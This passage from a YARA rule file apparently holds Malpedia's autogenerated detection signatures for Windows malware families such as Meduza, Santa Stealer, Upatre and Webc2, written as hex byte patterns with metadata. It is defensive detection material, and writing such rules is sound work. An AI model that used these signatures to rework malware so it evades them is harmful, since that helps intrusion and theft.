		$sequence_9 = { 7459 393d???????? 7451 393d???????? }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Meduza_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e3895974-72b9-57f5-8c34-0e6d028adf2b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meduza_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "91edd922ee662fa1f50c4b9c5768d207acd5144b81bbe8f2830a6c18fd7c29e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8d7cf2ffff 0f288d90ebffff 898decf8ffff 8d8d90ebffff 8985e8f8ffff 8d5101 660fef8de0f8ffff }
		$sequence_1 = { 898db4f8ffff 8985b0f8ffff c78548f8ffff22b9d72e c7854cf8ffff97001a04 8b8548f8ffff 8b8d4cf8ffff c5fe6f8540f1ffff }
		$sequence_2 = { 898d54f9ffff c785d8e4ffff12b8295c c785dce4ffffd94ef7ef 8b85d8e4ffff 8b8ddce4ffff 898558f9ffff 898d5cf9ffff }
		$sequence_3 = { 0f288d00edffff 898d5cfaffff 8d8d00edffff 898558faffff 8d5101 660fef8d50faffff 0f298d00edffff }
		$sequence_4 = { 8b4908 8d5801 2bca 895de0 c1f904 b8ffffff0f 8bd1 }
		$sequence_5 = { 0f1f440000 8a01 41 84c0 75f9 2bca 8d8530e1ffff }
		$sequence_6 = { c78578fdffff88642bdd c7857cfdffff13203a28 8b8578fdffff 8b8d7cfdffff 898d2cfeffff 898528feffff c78578fdffff6d0b2891 }
		$sequence_7 = { 6aff 68???????? 64a100000000 50 53 81eca8060000 a1???????? }
		$sequence_8 = { c5f8298d80f4ffff c5f81185e8e8ffff c785f8e8ffff00000000 c785fce8ffff00000000 c5f877 8a01 41 }
		$sequence_9 = { 51 52 e8???????? 83c408 eb08 85c9 0f85a9000000 }
	condition:
		7 of them and filesize < 1433600
}

rule MALPEDIA_Win_Artfulpie_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de5450b6-b95f-5bac-b0a9-b9c5fd386b22"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artfulpie_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "6beac333cee4f67e44a4d36d19350c582ab6bfc4c8f39d10f4335fab88933e77"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 0f8527010000 0f1f4000 8b430c 85c0 0f8418010000 }
		$sequence_1 = { c745fc00000000 85c0 7406 50 e8???????? 8b4df4 b801000000 }
		$sequence_2 = { 8db8b44b4100 57 ff15???????? ff0d???????? 83ef18 }
		$sequence_3 = { 894de0 8b049d984e4100 0fb6440828 83e001 }
		$sequence_4 = { 50 ffd2 85c0 7477 8b46fc 57 }
		$sequence_5 = { c745ec00000000 50 8d45ec c745e404000000 50 }
		$sequence_6 = { 85c0 0f84af000000 6a04 6800100000 }
		$sequence_7 = { 8b3e 8b4630 48 f7d0 }
		$sequence_8 = { 6af6 ff15???????? 8b04bd984e4100 834c0318ff 33c0 }
		$sequence_9 = { f00fc118 4b 7515 8b45fc 817848f8444100 7409 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Onliner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e266190c-77cd-5e00-b175-da1e4e33561c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onliner_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "c9e55a1b6192aded12d9bdf9f70d961ece286b9f8d470b491a50250894e58dcc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8bf0 85f6 0f85ab000000 8b45f8 8945f4 e9???????? }
		$sequence_1 = { 58 e8???????? 0f8436010000 a1???????? e8???????? 3c01 7412 }
		$sequence_2 = { 058a4c2a8d ba14000000 e8???????? 03c7 8bf0 8bc7 33c6 }
		$sequence_3 = { 8910 33c0 8ac3 8d448604 8b17 e8???????? 8b17 }
		$sequence_4 = { e8???????? ff75ec 8b45fc e8???????? 0fb7c0 8d55e4 e8???????? }
		$sequence_5 = { eb41 83c0bf 83e81a 7225 83c0fa 83e81a }
		$sequence_6 = { 837df800 750f 8bc3 8b55fc e8???????? e9???????? 8b45f8 }
		$sequence_7 = { 8bd7 e8???????? 8b0424 833800 742e 8b0424 }
		$sequence_8 = { 8993b4010000 8d8398000000 e8???????? 8d9398000000 8b83b4010000 e8???????? 8bc3 }
		$sequence_9 = { 8bcf 83e11f c1e106 8b048560f94c00 c644080401 57 e8???????? }
	condition:
		7 of them and filesize < 1736704
}

rule MALPEDIA_Win_Socksproxygo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ca75341b-6658-565f-95d6-74f231ce44e9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksproxygo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksproxygo_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "dae101b13021abf8406ff6df83b23a76fef8534b33d21e36035ee793df6e14d3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 48ffc6 4c89d1 4889d7 488b542448 4885c9 0f84ec000000 }
		$sequence_1 = { e9???????? 4c8b9424e8010000 0f1f00 4d85d2 742b 498b02 498b5a08 }
		$sequence_2 = { eb08 488bb42420010000 48899424a0000000 4889b424a8000000 488bbc24a0000000 4885ff 7421 }
		$sequence_3 = { eb3a 498b02 498b5a08 498b4a10 488b942408020000 488b3a 488b7208 }
		$sequence_4 = { 90 488d05c3392300 0f1f00 e8???????? 488b942418010000 48895008 833d????????00 }
		$sequence_5 = { c64424216b c744242200000203 66c74424260202 31c0 eb1a 440fb64c341d 418d1411 }
		$sequence_6 = { 4989c0 4989ca 488b842420020000 41c6043805 b901000000 e9???????? 4983fb01 }
		$sequence_7 = { e8???????? 488bac24f8000000 4881c400010000 c3 e8???????? e8???????? 4889c3 }
		$sequence_8 = { 7331 488d05b4513000 4889d9 4889fb 4889f7 4c89c6 e8???????? }
		$sequence_9 = { c7442464345c35c5 c7442467c5fab82a 31c0 e9???????? 488b9424a8000000 4885d2 b801000000 }
	condition:
		7 of them and filesize < 14221312
}

rule MALPEDIA_Win_Unidentified_109_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b6061e05-3237-58ca-ad8b-3aa8b32dd728"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_109_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d68f70d66f63488c08e0a968d9091c8e5c1c07bcbe7d2942849c574944ebfcba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc8 d1e8 410bc1 83e101 41ffc8 894204 448bc9 }
		$sequence_1 = { 488bd9 418bf9 498bf0 448bd2 b1e4 85d2 }
		$sequence_2 = { 418bc8 0bcb 41c1c01e 418bd1 4123cb c1c205 0bc8 }
		$sequence_3 = { 410fb7c0 6641ffc0 c644080433 664585c9 0f84e0000000 410fb7c0 6641ffc0 }
		$sequence_4 = { ffc8 410f48c6 4585c0 7e38 4898 660f1f440000 493bc6 }
		$sequence_5 = { 0fb6d2 83e27f 8d041a 3bc6 0f8742010000 85d2 7416 }
		$sequence_6 = { 7453 85db 744b 48897c2430 0f1f4000 498d8ef8000000 488bd6 }
		$sequence_7 = { 488945d0 488945d8 488945e0 488d4de8 498bd9 418bf6 4c8975f8 }
		$sequence_8 = { 790a c705????????00000000 488d0dfaf80400 ff15???????? 85db 488b5c2420 7441 }
		$sequence_9 = { 8bc1 448bc1 2bc6 03c2 413bc1 77de 03ca }
	condition:
		7 of them and filesize < 723968
}

rule MALPEDIA_Win_Webc2_Rave_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b8abe54-80f5-58ec-90da-b83888b1df6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_rave_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "af650f13ddb6ad439bdfa3dda339af75bc74ce9074c6268554058b1c377beaa8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8dbc24b0040000 83c9ff f2ae 8b06 8d9424b0040000 f7d1 }
		$sequence_1 = { 8b742410 8bc6 85f6 89442418 }
		$sequence_2 = { f3ab 85db aa 7464 eb06 8b35???????? }
		$sequence_3 = { 83c410 f3ab aa 8d8424a0020000 50 6804010000 }
		$sequence_4 = { c784248800000001010000 66899c248c000000 89842498000000 8984249c000000 ffd7 8b542420 50 }
		$sequence_5 = { 81fb00040000 c644241300 0f87b4000000 b980000000 33c0 8dbc242c010000 }
		$sequence_6 = { 42 56 51 8915???????? }
		$sequence_7 = { 8b8c2410020000 33c0 8bd0 83e20f 40 }
		$sequence_8 = { aa ffd5 83c410 8d842490000000 8d8c24a8030000 }
		$sequence_9 = { e8???????? 83c404 85c0 0f848d000000 33c9 33d2 894c2410 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Mediapi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "93eb6857-89ab-509f-a3db-521b6138e920"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mediapi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mediapi_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "62d55dbda71843c208580e1ce14906c348dc561d976d6517a9642b390fe58aad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89c1 e8???????? 8045ff01 ebc3 }
		$sequence_1 = { 4898 488d95c0010000 41b900000000 41b8d0470000 4889c1 488b05???????? ffd0 }
		$sequence_2 = { 488b5510 884209 488b5510 0fb645ff 88420d }
		$sequence_3 = { 8345fc01 837dfc3b 0f86cdfdffff 90 4883c420 5d c3 }
		$sequence_4 = { 88420b 488b5510 0fb645ff 884207 90 4883c410 }
		$sequence_5 = { 4889f1 ffd0 488b5b10 4885db 75dc 488d0d35600000 4883c428 }
		$sequence_6 = { 0fb645db 0fb6c0 c1f802 83e00f 01d0 }
		$sequence_7 = { 90 488d0506700000 8b00 4898 488d9540010000 41b810000000 }
		$sequence_8 = { 8845de 0fb645db 0fb6c0 c1e006 89c2 0fb645dc 01d0 }
		$sequence_9 = { 8b05???????? c1e010 4898 48394518 }
	condition:
		7 of them and filesize < 246784
}

rule MALPEDIA_Win_Unidentified_068_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "00ed8246-d247-5890-b70c-9dc2bd82550a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_068_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "fa30d57049b9c1bba68e7061433a03b7496f06c6df4edaee3b08ded2533d6885"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d3403 8bd6 c1fa06 8bce 83e13f 6bc930 8b049518c94500 }
		$sequence_1 = { 51 ff5008 ffb56cffffff e8???????? 59 8d8d2cffffff e8???????? }
		$sequence_2 = { 894dfc 57 8bd1 33ff 53 8d8dfcfeffff e8???????? }
		$sequence_3 = { 897de8 8945d8 8b458c 2b8564ffffff 8945dc 6a08 e8???????? }
		$sequence_4 = { 85c9 7904 33c0 5d c3 ff7510 }
		$sequence_5 = { 0fafc1 3bf0 7314 8bf8 b800080000 2bc1 c1e805 }
		$sequence_6 = { 83bf304b000002 744d 8b4d1c 85c9 7422 8b473c 2b4744 }
		$sequence_7 = { e8???????? 6a10 83faff 8d4f28 58 0f45c2 }
		$sequence_8 = { b800080000 2bc2 c1e805 03c2 66894312 6a02 eb14 }
		$sequence_9 = { 6a2a 8d4dcc e8???????? 57 ff75cc 8d4dec e8???????? }
	condition:
		7 of them and filesize < 862208
}

rule MALPEDIA_Win_Yoddos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10bd6a04-5d32-593e-bba9-9dd8c0a017eb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yoddos_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "2bcf30b4ceb2923df5d8477756a290466d01852078cc1f43ff184eee0a076cc3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 034508 57 53 894508 8d85d0feffff 50 }
		$sequence_1 = { e8???????? 59 59 50 ff75bc ff75b8 e8???????? }
		$sequence_2 = { 83c44c 8d85bcf6ffff 50 8d85bcfaffff }
		$sequence_3 = { c68530ffffff77 c68531ffffff77 c68532ffffff77 c68533ffffff2e }
		$sequence_4 = { c645e374 c645e465 c645e546 c645e669 }
		$sequence_5 = { 50 e8???????? 8d85c8feffff 50 e8???????? 83c410 }
		$sequence_6 = { c645db54 c645dc45 c645dd4d c645de5c c645df43 c645e075 c645e172 }
		$sequence_7 = { c645fa74 c645fb6c 885dfc c645e857 c645e953 c645ea32 c645eb5f }
		$sequence_8 = { ffd7 8d8d58ffffff 8945fc 51 50 c68558ffffff49 c68559ffffff6e }
		$sequence_9 = { 7e06 897db4 8945ac 8d8548feffff 50 }
	condition:
		7 of them and filesize < 557056
}

rule MALPEDIA_Win_Hyperssl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6f22636e-fb9b-5862-8e11-c3c097a8328b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperssl_auto.yar#L1-L220"
		license_url = "N/A"
		logic_hash = "373cb8242b6edc99bdda77d7fa35bccbbf94de7d502bb63cf5e16d60e54a0b5d"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 742a 8b4028 03c1 7423 56 57 b9???????? }
		$sequence_1 = { 40 4f 75f2 5f 5e e9???????? }
		$sequence_2 = { 0108 8b4830 3308 56 }
		$sequence_3 = { 0101 014514 2bf3 8b5d0c c7472400000000 }
		$sequence_4 = { 0108 3908 1bc9 f7d9 }
		$sequence_5 = { e8???????? 33c0 40 5d c20c00 6a08 }
		$sequence_6 = { 5d c20c00 6a08 68???????? e8???????? 8b450c }
		$sequence_7 = { 8bc8 85c9 7436 8b413c 03c1 }
		$sequence_8 = { 0105???????? 8d8d5cffffff 89855cffffff 898560ffffff }
		$sequence_9 = { 5e e9???????? c3 55 8bec }
		$sequence_10 = { 0108 894810 8b4830 3308 }
		$sequence_11 = { 8a10 301401 8a10 301406 40 4f }
		$sequence_12 = { 2bc8 2bf0 5f 8a10 }
		$sequence_13 = { 0108 3310 c1c607 c1c210 }
		$sequence_14 = { 0105???????? 8d558c 89458c 894590 }
		$sequence_15 = { 33c9 46 2bc3 8944240c 8b5c241c 8d440c2c 0fb61c03 }
		$sequence_16 = { 017e0c 8d4d08 e8???????? 5f }
		$sequence_17 = { 01442428 8b442428 884500 45 }
		$sequence_18 = { 016b08 897b04 5f 5e }
		$sequence_19 = { 017e0c 395e10 740f ff7610 }
		$sequence_20 = { 011d???????? 5f 8935???????? 5e }
		$sequence_21 = { 017e0c 5f 8bc6 5e c20800 }
		$sequence_22 = { 017e08 50 e8???????? ff0d???????? }
		$sequence_23 = { 017e08 8bc3 e8???????? c20400 }
	condition:
		7 of them and filesize < 835584
}

rule MALPEDIA_Win_Santa_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "698b58d7-3beb-5b12-b9ab-ea8db82a9446"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.santa_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.santa_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0ee975510b7aa8f6c88f59ccf7386a44e723fcc4879e58b69b100521065bb285"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 488d5640 4c89e1 44896c2458 4c897c2460 e8???????? 89c3 }
		$sequence_1 = { 6644894114 488b4918 41c7422407000000 80796700 75b3 80796800 75ad }
		$sequence_2 = { c744246cffffffff 488b01 4885c0 7464 4c8d44246c ba0a000000 ff5050 }
		$sequence_3 = { e8???????? 89c7 85c0 0f8504f9ffff 8b4334 c7436801000000 4429e0 }
		$sequence_4 = { e8???????? 89c3 85c0 0f84fc000000 31db 662e0f1f840000000000 4c89e2 }
		$sequence_5 = { 7371 418b4120 85c0 755f 4881faffffff3f 7768 4883ec38 }
		$sequence_6 = { c6431770 488d15d8461100 480f44fa 4d85e4 b8011a0000 48896b08 488d15d040fbff }
		$sequence_7 = { e8???????? 4d85ff 7475 440fb74760 410fbf4e36 4139c8 7c66 }
		$sequence_8 = { f77134 8d5001 4439fa 0f84b0010000 4531c9 4c8d442448 4489fa }
		$sequence_9 = { e8???????? 4829c4 488b4548 4885c9 742d 4989ca 4883796800 }
	condition:
		7 of them and filesize < 27009024
}

rule MALPEDIA_Win_Upatre_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "040bdafc-33da-58ba-b810-486451f4b678"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upatre_auto.yar#L1-L173"
		license_url = "N/A"
		logic_hash = "3a267d65c074b009b5eb1fad7789aa126fe3aa82fa66dade27c6fa55c83ed7ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b02f 66ab 8b45a8 ff5504 33c9 8ac8 ff5508 }
		$sequence_1 = { b400 66ab b02f 66ab ff7590 33c0 }
		$sequence_2 = { 81c60e010000 ac 3c01 740c b053 66ab }
		$sequence_3 = { 6a00 8d4dc0 51 ff75e0 ff75bc ff75ec }
		$sequence_4 = { 58 6a00 8d4de0 51 50 }
		$sequence_5 = { 33c0 b404 57 03f8 8bf7 }
		$sequence_6 = { b404 895d98 8bfb 03d8 b91c010000 }
		$sequence_7 = { 33c0 66ab bbff0f0000 8b75f0 56 53 }
		$sequence_8 = { 68d770a437 8b4dd4 51 e8???????? 8945e8 }
		$sequence_9 = { 83c404 0fb7c0 3b4510 7411 8b4de0 51 }
		$sequence_10 = { 83c410 eb58 8b4df4 8b510c 52 e8???????? }
		$sequence_11 = { 1f c011a0 6b20bd 80978041a0e3b2 34c0 8fc0 81205b606d00 }
		$sequence_12 = { 83c108 894dfc 8b55fc 8b02 50 e8???????? }
		$sequence_13 = { 0fb745f8 0fb74df4 99 f7f9 }
		$sequence_14 = { 0f8416010000 8b55f4 8b420c 50 e8???????? }
		$sequence_15 = { 7529 8b4df4 8b5110 81c200100000 8955f0 8d45f0 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Zerot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b855400-35e2-5ab9-8ab4-5b0c449639bd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zerot_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "c6f6a84594f6a63be175c01b94d4ac1a205809bd4a3810282ffee82abc5e767b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 33f6 eb13 6800006000 e8???????? }
		$sequence_1 = { 6a00 6a00 ff15???????? a3???????? ff15???????? 3db7000000 7527 }
		$sequence_2 = { 8b4608 c706???????? 85c0 740a 50 }
		$sequence_3 = { 83c408 e9???????? 8b8d34fdffff bf???????? 83f904 }
		$sequence_4 = { ff7610 6a01 ff760c ff15???????? }
		$sequence_5 = { 6a00 6820020000 6a20 6a02 8d854cfeffff 66c78550feffff0005 50 }
		$sequence_6 = { 7409 50 e8???????? 83c404 33ff c7850cfaffff00000000 32db }
		$sequence_7 = { 6800020000 8d8510fdffff 6a00 50 e8???????? }
		$sequence_8 = { 8d8524fdffff 50 8d4376 50 6a02 ffd6 8d851cfdffff }
		$sequence_9 = { ff15???????? 8bc3 be19000000 43 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Webc2_Table_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "74911130-496c-59cd-b9b7-d073dda2a5a6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_table_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "82557b5976335e4f1972b3218d4e36ee8e0264f2a148ef98566fdf5b62d6108c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? b800100000 6a04 50 }
		$sequence_1 = { 41 4e 75b7 8b45f8 be???????? 57 56 }
		$sequence_2 = { e8???????? 85c0 59 7e1b 8b4c2404 }
		$sequence_3 = { 0f8fdb000000 6860ea0000 ffd7 ff45f4 }
		$sequence_4 = { c78548fdffff94000000 8d85e8feffff 50 8d85dcfbffff 50 e8???????? 59 }
		$sequence_5 = { e8???????? 8b35???????? 8d8558ffffff 50 ff7508 ffd6 8bf8 }
		$sequence_6 = { 50 8d85e4feffff 50 e8???????? 83c428 }
		$sequence_7 = { 8bca 8dbd59ffffff f3ab 66ab aa 8bca 33c0 }
		$sequence_8 = { ff15???????? ff7710 ff15???????? 83c410 50 ff15???????? }
		$sequence_9 = { e8???????? 83c434 8d8548fdffff c78548fdffff9c000000 50 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Roopy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8be7b2c4-b174-500b-b0ea-f2839cb0b383"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopy_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "e98d1af71e72ca48289280b30ed691a17624b5a4815404358ace55f7593ba961"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
